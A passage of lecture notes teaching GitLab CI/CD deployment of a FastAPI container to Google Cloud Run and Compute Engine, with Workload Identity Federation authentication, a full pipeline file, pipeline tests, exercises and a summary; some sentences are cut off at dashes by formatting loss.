“Stopping the VM stops the bill.” The disk keeps billing. Delete what you don’t use.
“The external IP is permanent.” An ephemeral IP can change on stop/start. Reserve a static IP if a DNS name points at it.
“Allow HTTP traffic makes the app reachable.” It opens port 80; something must be listening on port 80. Our container listens on 8080, so the -p 80:8080 mapping is essential.
22.11 Core Concept 8: Cloud Run — Serverless Containers
22.11.1 Definition
Cloud Run is a managed platform that runs a container image as an HTTPS service. Each deployment creates an immutable revision; Cloud Run starts container instances on demand in response to requests, scales them out with traffic and down to zero when idle, and bills for the resources used while handling requests.
In plain English. You hand Google an image; you get back a URL. No machines to create, patch, or resize.
Intuition. The VM was renting an apartment. Cloud Run is a hotel: bring your suitcase (the image), housekeeping (TLS, restarts, scaling) is included, and you pay per night you actually sleep there.
22.11.2 The container contract
Cloud Run asks very little of your image:
Listen for HTTP on 0.0.0.0 at the port in $PORT (default 8080). Our Dockerfile’s CMD does exactly this.
Be stateless: any instance may be stopped at any time, and two requests from the same user may hit different instances. Store state in a database, never in memory or local files.
Start reasonably fast: when scaled to zero, the first request waits for a container to start (a cold start).
Cloud Run sets K_SERVICE, K_REVISION, and
K_CONFIGURATION for you—
22.11.3 Worked example — the fastest possible deploy
Before automating anything, deploy once by hand from the project folder (Cloud Shell or a laptop with gcloud):
gcloud run deploy cloud-demo \
--source . \
--region us-east1 \
--allow-unauthenticated–source . uploads the folder, has Cloud Build build the Dockerfile, pushes the image to Artifact Registry, and deploys it. Expected output (abridged):
Building using Dockerfile and deploying container to Cloud Run service [cloud-demo] in project [my-class-project] region [us-east1]
✓ Building and deploying new service... Done.
✓ Uploading sources...
✓ Building Container...
✓ Creating Revision...
✓ Routing traffic...
✓ Setting IAM Policy...
Done.
Service [cloud-demo] revision [cloud-demo-00001-x7k] has been deployed and is serving 100 percent of traffic.
Service URL: https://cloud-demo-123456789012.us-east1.run.app
$ curl https://cloud-demo-123456789012.us-east1.run.app/version
{"commit":"unknown","revision":"cloud-demo-00001-x7k","version":"1.0"}Note what we got without asking: an HTTPS certificate, a stable URL, automatic restarts, and autoscaling. –allow-unauthenticated makes the service public; without it, callers need a Google identity token.
22.11.4 Worked example — deploying a pre-built image
The pipeline won’t use –source; it builds the image in its own stage (so the same image can go to dev and prod) and then deploys by image URL:
gcloud run deploy cloud-demo-dev \
--image=us-east1-docker.pkg.dev/my-class-project/class-docker/cloud-demo:3f9a1c2e \
--region=us-east1 \
--service-account=cloud-demo-runtime@my-class-project.iam.gserviceaccount.com \
--set-env-vars=ENVIRONMENT=development,GIT_SHA=3f9a1c2e \
--allow-unauthenticated22.11.5 Revisions make deploys and rollbacks safe
Each deploy creates a new revision; Cloud Run starts it, waits until it accepts connections, and only then shifts traffic to it. The old revision keeps serving until the switch. Compare with the VM’s “reset and pray.”
deploy 7c41d0aa: |
cloud-demo-prod-00004 (3f9a1c2e) ████████████ 100% ──▶ 0% (kept, idle) |
cloud-demo-prod-00005 (7c41d0aa) starting… ready ✓ ──▶ 100% |
Rolling back is a traffic change, not a rebuild:
gcloud run revisions list --service=cloud-demo-prod --region=us-east1
gcloud run services update-traffic cloud-demo-prod --region=us-east1 \
--to-revisions=cloud-demo-prod-00004=10022.11.6 VM vs. Cloud Run, side by side
Compute Engine VM | Cloud Run | |
You provide | a machine config + everything on it | an image |
HTTPS | you set it up | included |
Crash recovery | Docker restart policy, if you set it | automatic |
Scaling | manual (or instance groups) | automatic, including to zero |
Deploy | metadata + reboot: downtime | new revision, then traffic switch |
Rollback | redeploy old tag + reboot | move traffic to old revision |
Idle cost | full price, 24/7 | ≈ $0 |
Freedom | anything: GPUs, daemons, long jobs, any port | HTTP request/response, stateless |
Good for | long-running/stateful/unusual workloads | web apps and APIs like cloud-demo |
Same image in both columns. The image is the portable part; the platform is the choice.
22.11.7 Common misconceptions
“Serverless means no servers.” There are servers; you just don’t manage them. What disappears is capacity planning.
“Cloud Run is always cheaper.” Per unit of CPU it is more expensive; it wins by charging ~nothing while idle. A service busy 24/7 can cost more than a VM.
“I can keep a session dictionary in memory.” The next request may go to another instance, and idle instances are destroyed. State belongs in a database.
“If Cloud Run manages the infrastructure, why Docker?” Because the image is the interface: it is how you tell Cloud Run exactly what to run, and it is what makes the same build portable to a VM, a laptop, or another cloud.
22.12 Core Concept 9: Authenticating GitLab to Google Cloud
22.12.1 The problem
Our pipeline must call gcloud builds submit and gcloud run
deploy as someone. How can a GitLab job prove to Google that
it is allowed to deploy—
The old answer was a service-account key: a JSON file with a private key, pasted into a CI variable. It works, and it is the source of a steady stream of real breaches:
it never expires unless someone rotates it (nobody does);
it works from anywhere: leak it once (a log, a fork, a laptop backup) and an attacker deploys to your project;
it is a secret you must store, mask, protect, and audit.
22.12.2 The modern answer: OIDC + Workload Identity Federation
Workload Identity Federation (WIF)
lets Google Cloud trust identity tokens issued by an external
identity provider—
In plain English. GitLab signs a note saying “this is a job from project my-group/cloud-demo, branch main, pipeline 1042.” Google checks GitLab’s signature, checks your rule (“only accept notes from my-group/cloud-demo”), and hands back a credential that expires in about an hour.
Intuition. A key is a house key you copy and hand out. WIF is a front desk that checks a photo ID each time and issues a day pass.
GitLab job Google STS Google IAM / APIs |
─────────── ──────────── ────────────────── |
1. id_tokens: GitLab mints a |
signed JWT {sub, project_path, |
ref, aud=<our provider>} |
2. present JWT ──────────────▶ verify GitLab's signature |
(fetches gitlab.com JWKS) |
check aud + attribute condition |
◀── short-lived federated token |
3. impersonate deployer SA ─────────────────────────────────▶ workloadIdentityUser? ✓ |
◀──────────────── 1-hour access token for gitlab-deployer |
4. gcloud run deploy … ─────────────────────────────────────▶ run.admin? ✓ → deployed |
Nothing long-lived exists anywhere. The token in step 1 is valid for minutes, for one job; the credential in step 3 for about an hour.
22.12.3 Worked example — the one-time setup
The project’s gcp/setup.sh does all of this; here are the three load-bearing commands. First, a pool (a namespace for external identities) and an OIDC provider that trusts GitLab:
gcloud iam workload-identity-pools create gitlab-pool \
--location=global --display-name="GitLab CI/CD"
gcloud iam workload-identity-pools providers create-oidc gitlab-provider \
--location=global --workload-identity-pool=gitlab-pool \
--issuer-uri="https://gitlab.com" \
--allowed-audiences="https://iam.googleapis.com/projects/$PROJECT_NUMBER/locations/global/workloadIdentityPools/gitlab-pool/providers/gitlab-provider" \
--attribute-mapping="google.subject=assertion.sub,attribute.project_path=assertion.project_path,attribute.ref=assertion.ref,attribute.ref_protected=assertion.ref_protected" \
--attribute-condition="assertion.project_path == 'my-group/cloud-demo'"The attribute condition is the security boundary. Without it, any GitLab.com project could present a valid token. With it, only jobs from your repository are accepted. (You could tighten further: assertion.ref_protected == ’true’ admits only protected branches.)
Then allow those identities to act as the deployer service account:
gcloud iam service-accounts add-iam-policy-binding \
gitlab-deployer@my-class-project.iam.gserviceaccount.com \
--role=roles/iam.workloadIdentityUser \
--member="principalSet://iam.googleapis.com/projects/$PROJECT_NUMBER/locations/global/workloadIdentityPools/gitlab-pool/attribute.project_path/my-group/cloud-demo"And give the deployer only what deploying requires:
Role (on the project unless noted) | Why |
roles/run.admin | deploy services; set them public (--allow-unauthenticated) |
roles/iam.serviceAccountUser on the runtime SA | assign the app's identity to the service |
roles/cloudbuild.builds.editor | submit builds |
roles/storage.admin | upload source to the Cloud Build staging bucket |
roles/artifactregistry.writer | push images |
roles/viewer | stream Cloud Build logs into the GitLab job log |
(roles/run.developer can deploy but cannot change a service’s IAM policy, so the first –allow-unauthenticated deploy fails with it. A tighter setup makes the service public once by hand and then uses run.developer.)
Self-managed GitLab. For a university instance such as gitlab.cs.umd.edu, the issuer URI is that instance’s URL, and Google must be able to fetch its /.well-known/openid-configuration from the internet. If the instance is not publicly reachable, upload its signing keys to the provider instead (–jwk-json-path).
22.12.4 Worked example — the job side
In the pipeline, a job asks GitLab for a token with id_tokens and exchanges it with three gcloud commands:
.gcp_auth:
image: google/cloud-sdk:slim
id_tokens:
GITLAB_OIDC_TOKEN: # GitLab mints a short-lived signed JWT for this job
aud: $GCP_WIF_AUDIENCE # ...addressed to our Google identity provider
before_script:
- echo "$GITLAB_OIDC_TOKEN" > /tmp/gitlab-token
- |
gcloud iam workload-identity-pools create-cred-config "$GCP_WIF_PROVIDER" \
--service-account="$GCP_SERVICE_ACCOUNT" \
--credential-source-file=/tmp/gitlab-token \
--credential-source-type=text \
--output-file=/tmp/gcp-credentials.json
- gcloud auth login --cred-file=/tmp/gcp-credentials.json --quiet
- gcloud config set project "$GCP_PROJECT_ID"create-cred-config writes a small JSON file that says “to get
credentials, read the token from /tmp/gitlab-token, exchange it
at Google STS for this provider, then impersonate this service
account.” It contains no secret—
The variables this needs, all set in Settings → CI/CD → Variables, and none of them secret:
Variable | Example |
GCP_PROJECT_ID | my-class-project |
GCP_SERVICE_ACCOUNT | gitlab-deployer@my-class-project.iam.gserviceaccount.com |
GCP_WIF_PROVIDER | projects/123456789012/locations/global/workloadIdentityPools/gitlab-pool/providers/gitlab-provider |
GCP_WIF_AUDIENCE | https://iam.googleapis.com/ + the GCP_WIF_PROVIDER value |
GCP_RUNTIME_SA | cloud-demo-runtime@my-class-project.iam.gserviceaccount.com |
22.12.5 Common misconceptions
“If the variables aren’t secret, anyone can deploy.” Knowing the provider’s name is like knowing a bank’s address. To get in you need a token signed by GitLab whose claims satisfy your condition—
which only your project’s jobs can obtain. “The OIDC token is like a password; mask it.” It is a short-lived, audience-bound credential; still, don’t print it. The template writes it to a file and never echoes it to the log.
“WIF is only for big companies.” It is the default recommendation from both GitLab and Google; it takes one script to set up and removes a whole class of incidents.
22.13 Putting It Together: The Complete Pipeline
22.13.1 The file
This is cloud-demo/.gitlab-ci.yml, complete:
stages:
- test
- build
- deploy_dev
- deploy_prod
variables:
REGION: "us-east1"
REPOSITORY: "class-docker"
IMAGE_NAME: "cloud-demo"
# One immutable tag per commit: the image that passed the pipeline is
# exactly the image that gets deployed.
IMAGE_TAG: "${CI_COMMIT_SHORT_SHA}"
IMAGE_URL: "${REGION}-docker.pkg.dev/${GCP_PROJECT_ID}/${REPOSITORY}/${IMAGE_NAME}"
PIP_CACHE_DIR: "${CI_PROJECT_DIR}/.cache/pip"
# Hidden template: turns GitLab's OIDC token into Google Cloud credentials.
.gcp_auth:
image: google/cloud-sdk:slim
id_tokens:
GITLAB_OIDC_TOKEN:
aud: $GCP_WIF_AUDIENCE
before_script:
- echo "$GITLAB_OIDC_TOKEN" > /tmp/gitlab-token
- |
gcloud iam workload-identity-pools create-cred-config "$GCP_WIF_PROVIDER" \
--service-account="$GCP_SERVICE_ACCOUNT" \
--credential-source-file=/tmp/gitlab-token \
--credential-source-type=text \
--output-file=/tmp/gcp-credentials.json
- gcloud auth login --cred-file=/tmp/gcp-credentials.json --quiet
- gcloud config set project "$GCP_PROJECT_ID"
.deploy_rules:
rules: &deploy_rules # YAML anchor: reused by `build` below
- if: $CI_COMMIT_BRANCH == "develop"
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
# 1. Test: runs on every branch. A failure here stops the whole pipeline.
test:
stage: test
image: python:3.12-slim
cache:
key: pip-${CI_JOB_NAME}
paths: [.cache/pip]
script:
- pip install -r requirements-dev.txt
- pytest -v --junitxml=report.xml
artifacts:
when: always
reports:
junit: report.xml
# 2. Build: Cloud Build builds the Dockerfile and pushes to Artifact Registry.
build:
stage: build
extends: .gcp_auth
script:
- echo "Building ${IMAGE_URL}:${IMAGE_TAG}"
- gcloud builds submit --region="$REGION" --tag="${IMAGE_URL}:${IMAGE_TAG}" .
rules: *deploy_rules # build only where we will deploy
# 3. Development: deploys automatically from `develop`, then smoke-tests.
deploy_dev:
stage: deploy_dev
extends: .gcp_auth
variables:
SERVICE: cloud-demo-dev
ENVIRONMENT: development
script: &deploy_script
- |
gcloud run deploy "$SERVICE" \
--image="${IMAGE_URL}:${IMAGE_TAG}" \
--region="$REGION" \
--service-account="$GCP_RUNTIME_SA" \
--set-env-vars="ENVIRONMENT=${ENVIRONMENT},GIT_SHA=${CI_COMMIT_SHORT_SHA}" \
--allow-unauthenticated \
--quiet
- URL=$(gcloud run services describe "$SERVICE" --region="$REGION" --format='value(status.url)')
- echo "Deployed to $URL"
- echo "DEPLOY_URL=$URL" > deploy.env
# Smoke test: the deploy only "counts" if the new revision answers.
- curl --fail --silent --show-error "$URL/health"
- curl --fail --silent --show-error "$URL/version"
artifacts:
reports:
dotenv: deploy.env # exposes $DEPLOY_URL to `environment:url`
environment:
name: development
url: $DEPLOY_URL
rules:
- if: $CI_COMMIT_BRANCH == "develop"
# 4. Production: same image, same script, different configuration.
deploy_prod:
stage: deploy_prod
extends: .gcp_auth
variables:
SERVICE: cloud-demo-prod
ENVIRONMENT: production
script: *deploy_script
artifacts:
reports:
dotenv: deploy.env
environment:
name: production
url: $DEPLOY_URL
resource_group: production # never run two production deploys at once
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
when: manual22.13.2 Reading guide
.gcp_auth and extends. Keys beginning with a dot are hidden: GitLab never runs them. extends: .gcp_auth merges the template into a job, so authentication is written once and reused three times.
YAML anchors (&name / *name). Plain YAML reuse: &deploy_script labels the dev deploy script and *deploy_script pastes it into production. Dev and prod run literally the same commands; only the job variables differ. That is the environment idea, enforced by syntax.
gcloud builds submit. Uploads the folder (minus .gcloudignored files) and builds the Dockerfile on Google’s machines. We use it instead of running Docker inside the job because Docker-in-Docker needs privileged runners, which many shared runners—
especially university ones— don’t allow. (ci-alternatives/build-dind.gitlab-ci.yml shows the DinD version.) dotenv artifact. The deploy job writes DEPLOY_URL=… to a file declared as a dotenv report; GitLab turns it into a variable usable in environment:url, so the Environments page links to the real service.
Smoke test. curl –fail exits non-zero on an HTTP error, which fails the job. A deploy that doesn’t answer /health is a failed deploy, and the pipeline says so.
Why does test run on every branch but build only on develop/main? Tests are cheap and useful everywhere; building and storing an image for every feature branch costs money for images nobody deploys.
22.13.3 Worked example — tracing one change end to end
A developer adds a feature on develop:
git checkout develop
# edit app.py: APP_VERSION = "2.0"
git commit -am "Bump version to 2.0"
git push origin developPipeline #1043 on develop, commit 7c41d0aa:
Time | Job | What happens | Visible result |
0:00 | — | GitLab reads .gitlab-ci.yml; rules create test, build, deploy_dev | pipeline graph: 3 jobs |
0:05 | test | runner starts python:3.12-slim, installs deps, runs pytest | 12 passed; JUnit report attached |
0:40 | build | OIDC token → STS → deployer SA; gcloud builds submit | image …/cloud-demo:7c41d0aa in Artifact Registry |
2:10 | deploy_dev | auth again (new job, new token); gcloud run deploy cloud-demo-dev | revision cloud-demo-dev-00007 serving 100% |
2:40 | deploy_dev | curl /health and /version | {"version":"2.0","commit":"7c41d0aa",…} |
2:41 | — | dotenv sets DEPLOY_URL | Operate → Environments: development @ 7c41d0aa |
Note that deploy_prod does not appear: its rule only matches main.
The team checks the dev URL, then opens a merge request develop → main. The MR shows the green pipeline and the test report; a reviewer approves; it merges.
Pipeline #1044 on main: test ✓ → build ✓ → deploy_prod shows a ▶ play button and the pipeline status blocked. An authorized maintainer clicks it; cloud-demo-prod gets a new revision; the smoke test passes; the Environments page now lists production at the new commit.
22.13.4 Worked example — what if a test fails?
Suppose the change accidentally renamed the "message" key.
test ✗ FAILED tests/test_app.py::test_home - KeyError: 'message' |
build (not run) |
deploy_dev (not run) |
The development service keeps running the previous revision. Nothing was built, nothing was deployed, and the developer got an email. The pipeline’s most valuable output is the deployment that didn’t happen.
22.13.5 Worked example — rolling back production
A bug slips through and reaches production. Three ways back, from fastest to most principled:
Cloud Run traffic switch: move 100% of traffic to the previous revision (gcloud run services update-traffic …). Seconds. Doesn’t touch Git.
GitLab Rollback: Operate → Environments → production → Rollback on the previous deployment. GitLab re-runs that old deploy_prod job, which deploys the old image tag. No rebuild: the image is already in Artifact Registry.
Revert the commit: git revert on main; the normal pipeline tests, builds, and (after approval) deploys the fix. Slowest, but leaves history telling the truth.
In practice: do 1 or 2 now to stop the bleeding, then 3 so main matches production again.
22.14 Testing the Pipeline Itself
The pipeline file is code that controls production. It deserves
tests—
from pathlib import Path
import yaml
ROOT = Path(__file__).resolve().parent.parent
CI = yaml.safe_load((ROOT / ".gitlab-ci.yml").read_text())
def jobs():
"""All real jobs (skip keywords and hidden `.templates`)."""
reserved = {"stages", "variables", "default", "workflow", "include"}
return {k: v for k, v in CI.items() if k not in reserved and not k.startswith(".")}
def test_tests_run_before_anything_is_built():
order = CI["stages"]
assert order.index("test") < order.index("build") < order.index("deploy_dev")
def test_images_are_tagged_with_the_commit_never_latest():
text = (ROOT / ".gitlab-ci.yml").read_text()
assert ":latest" not in text
assert "CI_COMMIT_SHORT_SHA" in CI["variables"]["IMAGE_TAG"]
def test_production_deploy_is_manual_and_main_only():
rules = jobs()["deploy_prod"]["rules"]
assert len(rules) == 1
assert rules[0]["when"] == "manual"
assert "CI_DEFAULT_BRANCH" in rules[0]["if"]These run in the test job, so a merge request that “simplifies” production to deploy automatically turns the pipeline red before it can take effect. The principle: policy you care about should be a failing test, not a wiki page. (For syntax, GitLab’s Pipeline editor and the CI Lint API validate the file itself.)
22.15 The Complete Picture
developer ── git push ──▶ GitLab ── creates pipeline ──▶ Runner (fresh container per job) |
│ |
┌──────────────────────────────────────────────────────────┼─────────────────────────┐ |
│ test python:3.12-slim · pytest (app + pipeline) ✗──▶ stop │ |
│ build OIDC token ─▶ WIF/STS ─▶ deployer SA ─▶ Cloud Build ─▶ Artifact Registry │ |
│ cloud-demo:<commit-sha> │ |
│ deploy_dev (develop, automatic) gcloud run deploy cloud-demo-dev ENV=development │ |
│ deploy_prod (main, manual ▶) gcloud run deploy cloud-demo-prod ENV=production │ |
└──────────────────────────────────────────────────────────┼─────────────────────────┘ |
▼ |
Cloud Run: revisions · HTTPS · autoscale 0..N · rollback |
▲ |
(alternative target) Compute Engine VM: startup script · docker run |
Ask yourself to narrate it without looking: Git → GitLab CI/CD → test → build → image → Artifact Registry → Cloud Run → running application. If you can explain why each arrow exists, you understand the lecture.
22.16 Project: cloud-demo
notes/cloud-deploy/code/ contains three folders: hello-ci/ (Core Concept 1), stages-demo/ (Core Concept 2), and the full project:
cloud-demo/ |
├── README.md # setup, deploy, clean-up, troubleshooting table |
├── app.py # FastAPI app: /, /health, /version |
├── requirements.txt # runtime deps (go into the image) |
├── requirements-dev.txt # + pytest, pyyaml (CI only) |
├── pyproject.toml # pytest config |
├── Dockerfile # python:3.12-slim + uvicorn, non-root |
├── .dockerignore / .gcloudignore / .gitignore |
├── .gitlab-ci.yml # test → build → deploy_dev → deploy_prod |
├── tests/ |
│ ├── test_app.py # endpoint tests |
│ └── test_pipeline.py # tests over .gitlab-ci.yml itself |
├── gcp/ |
│ └── setup.sh # one-time: APIs, registry, service accounts, WIF |
├── vm/ |
│ ├── create-vm.sh # create + start a Compute Engine instance |
│ ├── startup.sh # install Docker, pull image from metadata, run |
│ └── deploy-vm.sh # point the VM at a new tag and reboot |
└── ci-alternatives/ |
├── build-dind.gitlab-ci.yml # Docker-in-Docker build instead of Cloud Build |
└── deploy-vm.gitlab-ci.yml # pipeline job that deploys to the VM |
Run it locally (no cloud account needed):
cd notes/cloud-deploy/code/cloud-demo
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements-dev.txt
pytest -v # 12 passed
python app.py # http://localhost:8080/
docker build -t cloud-demo .
docker run --rm -p 8080:8080 -e ENVIRONMENT=docker cloud-demoDeploy it (Google Cloud project with billing required):
# 1. One-time cloud setup (Cloud Shell is easiest)
export PROJECT_ID=your-project-id
export GITLAB_PROJECT_PATH=your-group/cloud-demo
export GITLAB_ISSUER=https://gitlab.com # or your self-managed GitLab URL
bash gcp/setup.sh # prints five CI/CD variables
# 2. Paste those into GitLab: Settings → CI/CD → Variables
# 3. Create and protect `develop`; protect `main`
git checkout -b develop && git push -u origin develop # → deploys cloud-demo-devClean up when done (a forgotten VM is the classic surprise
bill): delete both Cloud Run services, the VM, and the Artifact
Registry repository—
22.17 Practice Exercises
22.17.1 Basic
For each, say whether it is CI, continuous delivery, or continuous deployment: (a) tests run on every merge request; (b) every merge to main goes to users automatically; (c) every merge to main produces an image, and the team lead releases on Fridays.
In stages-demo, suppose lint takes 5 minutes and unit-test fails after 10 seconds. Does lint keep running? Does deploy run? Draw the pipeline graph on (a) main and (b) a feature branch.
Explain the difference between cache and artifacts, and give one correct use of each from the cloud-demo pipeline.
A teammate says “our dev and prod are the develop and main branches.” Correct the statement in two sentences.
List three costs you still pay for a stopped Compute Engine instance, or explain why there are fewer than three.
22.17.2 Intermediate
Add a lint job that runs ruff check . in the test stage, in parallel with test. Make it fail on a deliberate unused import and show the pipeline graph.
Add a third environment, staging, deployed automatically from main to cloud-demo-staging, with deploy_prod still manual. Add a test to test_pipeline.py asserting that staging precedes production.
Change the pipeline so that merge-request pipelines run test only (no build or deploy), using $CI_PIPELINE_SOURCE. Explain what goes wrong if you’re not careful about duplicate pipelines (branch + MR) and fix it with workflow:rules.
Using vm/create-vm.sh, create a VM running a pipeline-built image. Then deploy a new tag with vm/deploy-vm.sh while running while true; do curl -s -o /dev/null -w "%{http_code}\n" http://IP/health; sleep 1; done. Count the failed requests. Repeat the experiment against Cloud Run. Explain the difference.
Tighten the Workload Identity provider so that only protected branches can authenticate. Prove it: push to an unprotected branch with a job that runs gcloud auth print-access-token, and paste the error.
22.17.3 Advanced
Promote, don’t rebuild. Our main pipeline rebuilds the image even though develop already built and tested the same code (when the merge is a fast-forward). Redesign the pipeline so production deploys the exact image digest that development ran—
e.g., by tagging images with the tree hash or by promoting via gcloud artifacts docker tags add. Discuss what changes when merges create new commits. Canary releases. Use Cloud Run’s –no-traffic and –tag flags so deploy_prod creates a revision that receives 0% of traffic, smoke-tests it at its tagged URL, then shifts 10%, waits, and finally 100%. Add an automatic rollback if the smoke test fails. Which GitLab keywords did you need?
Threat model. Write one page analyzing how an attacker could abuse this pipeline: a malicious merge request, a compromised dependency in requirements.txt, a forked repository, a stolen GitLab personal token. For each, say which control in our setup (protected variables, attribute condition, manual production gate, least-privilege roles) stops it—
or that none does, and propose one.
22.18 Summary
22.18.1 Key takeaways
CI/CD turns the release procedure into code: versioned, reviewed, and run identically on every push. CI answers “is it correct?”; CD answers “get it running, safely.”
In GitLab, a job is a script that succeeds iff it exits 0; stages order jobs; a pipeline is all jobs for one event; a runner executes them in fresh containers. artifacts pass files between jobs; rules decide whether a job exists.
Variables configure the pipeline: predefined (commit, branch), YAML (non-secret design choices), and UI (per-project values, protected for deploy credentials). Masked ≠ secret.
Environments are deployed copies with their own configuration; branches are only mapped to them. Build the image once, tag it with the commit, deploy the same image everywhere, and gate production behind a manual, restricted job.
A Compute Engine VM is created and started with one command, runs anything, and makes you responsible for everything: TLS, restarts, patching, scaling, zero-downtime deploys, and a 24/7 bill.
Cloud Run runs the same image with HTTPS, autoscaling to zero, revisions, and one-command rollback—
at the price of statelessness and an HTTP-only model. Workload Identity Federation lets a GitLab job prove its identity with a short-lived OIDC token; Google trusts it only under your attribute condition. No service-account keys, nothing to leak.
22.18.2 Terminology
Term | Meaning |
CI / continuous delivery / continuous deployment | auto test / always releasable / auto release |
.gitlab-ci.yml | the pipeline definition at the repository root |
job / script / stage / pipeline | unit of work / its commands / ordered group / all jobs for one event |
runner / executor | the agent that runs jobs / how (Docker, shell, …) |
artifacts / cache | guaranteed files between jobs / best-effort files between pipelines |
rules / when: manual | conditions for including a job / wait for a click |
predefined / protected / masked variable | set by GitLab / only on protected refs / hidden in logs |
environment | a named deployment target with its own config and URL |
project / region / zone | GCP resource+billing container / geographic area / data center |
IAM role / service account | bundle of permissions / identity for software |
Compute Engine instance | a rented VM: machine type + boot disk + network |
startup script / metadata server | script run on every boot / per-VM key-value service |
Artifact Registry | Google's private container (and package) registry |
Cloud Build | Google-hosted build service |
Cloud Run service / revision | a deployed HTTPS container app / one immutable version of it |
cold start / scale to zero | startup delay after idle / no instances (and no cost) when idle |
OIDC id_token | short-lived signed JWT GitLab issues to a job |
Workload Identity Federation | Google trusting external tokens in exchange for short-lived credentials |
attribute condition | rule on token claims that decides which external identities are accepted |
22.18.3 Common mistakes
Deploying :latest—
you can’t tell what’s running and can’t roll back to “the previous latest.” Deploy jobs without a rule—
every feature branch deploys over your environment. Storing a service-account JSON key in a CI variable.
A Workload Identity provider with no attribute condition—
trusting every project on GitLab.com. Marking deploy variables protected, then wondering why they’re empty on an unprotected develop branch.
Rebuilding the image for production instead of deploying the tested one.
Listening on a hard-coded port, or on 127.0.0.1, inside the container (Cloud Run can’t reach it).
Stopping a VM and assuming the bill stopped; forgetting to delete demo resources.
Using cache to pass build outputs between jobs.
Treating a green deploy job as proof the service works—
without a smoke test, it only proves gcloud exited 0.
22.18.4 Where this leads
Kubernetes (GKE): when you outgrow one service—
many services, teams, and custom networking— the same image deploys to a cluster that reconciles declared state. Infrastructure as code (Terraform/OpenTofu): replace gcp/setup.sh with declarative files that the pipeline itself plans and applies.
Observability: Cloud Logging and Monitoring, alerting on error rates, and automatic rollback when a canary looks bad.
Security: dependency and container scanning as pipeline stages; signed images; protected environments with required approvers.
Capstone: your project ships through this pipeline; the Environments page is part of your demo.